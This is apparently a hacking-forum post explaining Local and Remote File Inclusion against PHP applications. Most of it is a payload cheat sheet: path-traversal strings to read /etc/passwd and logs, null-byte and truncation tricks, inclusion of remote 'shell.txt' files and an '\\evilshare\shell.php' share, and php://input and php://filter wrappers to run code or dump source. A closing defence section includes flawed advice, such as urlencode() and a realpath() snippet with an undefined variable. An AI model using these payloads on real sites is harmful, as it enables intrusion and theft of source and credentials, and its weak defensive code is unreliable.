Local File Inclusion (LFI)
by - Thursday, January 1, 1970 at 12:00 AM
Local File Inclusion (LFI)

What does it do?
This exploit allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application.

This can lead to the contents of the password file but may lead to
- Code execution on the web server
- Code execution on the client-side such as JavaScript which can - lead to other attacks such as cross site scripting (XSS)
- Denial of Service (DoS)
- Sensitive Information Disclosure

This is mostly exploited with a vulnerable php script.
------------------
Methods
------------------

Basic File Inclusion:

We go to example.com and look through the pages and we find something like this:
www.example.com/news.php?file=recentnews.html

If the script is something like this
<?php include("inc/" . $_GET['file']); ?>

Then we can try:
Including files in the same directory:
?file=.htaccess

Path Traversal:
?file=../../../../../../../../../var/lib/locate.db

(this file is very interesting because it lets you search the filesystem, other files)
Including injected PHP code:
?file=../../../../../../../../../var/log/apache/error.log

Limited LFI

In this case our php code should be something like:
<?php include("inc/" . $_GET['file'] . ".htm"); ?>

Our strategies can be:
Null Byte Injection:
?file=../../../../../../../../../etc/passwd%00

(requires magic_quotes_gpc=off)
Directory Listing with Null Byte Injection:
?file=../../../../../../../../../var/www/accounts/%00
(https://websec.wordpress.com/2009/11/28/freebsd-directory-listing-with-php-file-functions/)

Path Truncation:
?file=../../../../../../../../../etc/passwd.\.\.\.\.\.\.\.\.\.\.\ …

(http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/)
(http://www.ush.it/2009/07/26/php-filesystem-attack-vectors-take-two/)
Dot Truncation:
?file=../../../../../../../../../etc/passwd……………. …

Reverse Path Truncation:
?file=../../../../ […] ../../../../../etc/passwd


Basic Remote File Inclusion

If the php code looks like this:
<?php include($_GET['file']); ?>

Including Remote Code:
?file=[http|https|ftp]://websec.wordpress.com/shell.txt

(requires allow_url_fopen=On and allow_url_include=On)
Using PHP stream php://input:
?file=php://input

(specify your payload in the POST parameters, watch urlencoding, details here, requires allow_url_include=On)
Using PHP stream php://filter:
?file=php://filter/convert.base64-encode/resource=index.php

(lets you read PHP source because it wont get evaluated in base64. More details here and here)
Using data URIs:
?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=

(requires allow_url_include=On)
Using XSS:
?file=http://127.0.0.1/path/xss.php?xss=phpcode

(makes sense if firewalled or only whitelisted domains allowed)

Limited Remote File Inclusion

In these case the php code look like this:
<?php include($_GET['file'] . ".htm"); ?>

?file=https://websec.wordpress.com/shell
?file=https://websec.wordpress.com/shell.txt?
?file=https://websec.wordpress.com/shell.txt%23
(requires allow_url_fopen=On and allow_url_include=On)

?file=\\evilshare\shell.php
(bypasses allow_url_fopen=Off)

Static Remote File Inclusion:

Here the php code should look like this:
<?php include("http://192.168.1.10/config.php"); ?>

Man In The Middle
(lame indeed, but often forgotten)

Exploiting through PHP php:// wrappers:

Using PHP Protocol Wrappers you tell PHP to use the HTTP POST data as the entry point for it’s include. For example:
www.example.com/news.php?file=php://input

Then you can for example include the following code snippet in the POST data:
<?php phpinfo(); ?>

According to php documentation:
php://input allows you to read raw POST data. It is a less memory intensive alternative to $HTTP_RAW_POST_DATA and does not need any special php.ini directives. php://input is not available with enctype=”multipart/form-data”.

But this only works if your target's PHP configuration is:
allow_url_include = On

But if you search through the php documentation you can find this:
php://filter is a kind of meta-wrapper designed to permit the application of filters to a stream at the time of opening. This is useful with all-in-one file functions such as readfile(), file(), and file_get_contents() where there is otherwise no opportunity to apply a filter to the stream prior the contents being read.

So you can stream the content before the calling function gets to work with it.
So for example this gets the source of the PHP files on the server:
www.example.com/news.php?file=php://filter/convert.base64-encode/resource=in.php

http://php.net/manual/en/wrappers.php.php
http://php.net/manual/en/filters.convert.php
------------------
Defending agains LFI:
------------------
Protecting against this attack vector is hard. The best was is to limit input to pages that are known good.
So for example:
<?php
$files = array('about', 'contact', 'homepage', 'sitemap');
if (in_array($_GET['page'], $files)) {
include_once($files[array_search($_GET['page'], $files)] . '.php');
}
?>

Or you can try urlencode() to sanitize the user input:
<?php
include('header.php');
include('pages/' . urlencode($_GET['page']) . '.php');
include('footer.php');
?>

So if the attacker would try the attack in out example he would get:
Warning: include(pages/..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.php) [function.include]: failed to open stream: No such file or directory

Or an another good approach could be basename() because this ensures only ".php" extension are included but this does not protect against directory traversal.
So we could try:
<?php
include('header.php');
$page = preg_replace('/[^a-z^A-Z^0-9]*/', '', $_GET['page']);
include('pages/' . basename($page) . '.php');
include('footer.php');
?>

Another way would be realpath() because this defends against null byte attacks and directory traversals too.
<?php
include('header.php');
include('pages/' . realpath($page) . '.php');
include('footer.php');
?>

Quick note: Many webdevelopers tend to just use
<?php
include('header.php');
include('pages/' . str_replace("../", '', ($_GET['page'])) . '.php');
include('footer.php');
?>

But this does not defeat attacks like this:
index.php?page=....//....//....//....//....//etc/passwd%00

Another approach would be pathinfo: http://www.madirish.net/?article=232
Beneath this mask there is more than flesh. Beneath this mask there is an idea, and ideas are bulletproof.

Reply


 Users viewing this thread: Local File Inclusion (LFI): No users currently viewing.